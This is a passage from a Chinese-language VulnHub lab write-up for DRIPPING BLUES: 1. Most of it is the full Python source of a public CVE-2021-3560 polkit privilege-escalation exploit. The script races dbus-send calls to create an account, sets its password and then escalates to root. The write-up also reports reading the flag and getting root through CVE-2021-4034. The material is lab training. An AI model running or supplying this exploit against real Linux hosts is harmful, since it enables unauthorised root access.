vulnhub靶场之DRIPPING BLUES: 1( 二 )


vulnhub靶场之DRIPPING BLUES: 1

文章插图
CVE-2021-3560_exp_py源码import osimport sysimport timeimport subprocessimport randomimport pwdprint ("**************")print("Exploit: Privilege escalation with polkit - CVE-2021-3560")print("Exploit code written by Ahmad Almorabea @almorabea")print("Original exploit author: Kevin Backhouse ")print("For more details check this out: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/")print ("**************")print("[+] Starting the Exploit ")time.sleep(3)check = Truecounter = 0while check: counter = counter +1 process = subprocess.Popen(['dbus-send','--system','--dest=org.freedesktop.Accounts','--type=method_call','--print-reply','/org/freedesktop/Accounts','org.freedesktop.Accounts.CreateUser','string:ahmed','string:"Ahmad Almorabea','int32:1']) try:#print('1 - Running in process', process.pid)Random = random.uniform(0.006,0.009)process.wait(timeout=Random)process.kill() except subprocess.TimeoutExpired:#print('Timed out - killing', process.pid)process.kill() user = subprocess.run(['id', 'ahmed'], stdout=subprocess.PIPE).stdout.decode('utf-8') if user.find("uid") != -1:print("[+] User Created with the name of ahmed")print("[+] Timed out at: "+str(Random))check =Falsebreak if counter > 2000:print("[-] Couldn't add the user, try again it may work")sys.exit(0)for i in range(200): #print(i) uid = "/org/freedesktop/Accounts/User"+str(pwd.getpwnam('ahmed').pw_uid) #In case you need to put a password un-comment the code below and put your password after string:yourpassword' password = "string:" #res = subprocess.run(['openssl', 'passwd','-5',password], stdout=subprocess.PIPE).stdout.decode('utf-8') #password = f"string:{res.rstrip()}" process = subprocess.Popen(['dbus-send','--system','--dest=org.freedesktop.Accounts','--type=method_call','--print-reply',uid,'org.freedesktop.Accounts.User.SetPassword',password,'string:GoldenEye']) try:#print('1 - Running in process', process.pid)Random = random.uniform(0.006,0.009)process.wait(timeout=Random)process.kill() except subprocess.TimeoutExpired:#print('Timed out - killing', process.pid)process.kill()print("[+] Timed out at: " + str(Random))print("[+] Exploit Completed, Your new user is 'Ahmed' just log into it like, 'su ahmed', and then 'sudo su' to root ")p = subprocess.call("(su ahmed -c 'sudo su')", shell=True)
使用root账户在/root下成功读取flag信息 。
vulnhub靶场之DRIPPING BLUES: 1

文章插图
闲着无聊,使用root账户安装了gcc,然后切换回了thugger账户 , 执行CVE-2021-4034的exp,此时也可以正常获取到root权限 。
vulnhub靶场之DRIPPING BLUES: 1

文章插图

推荐阅读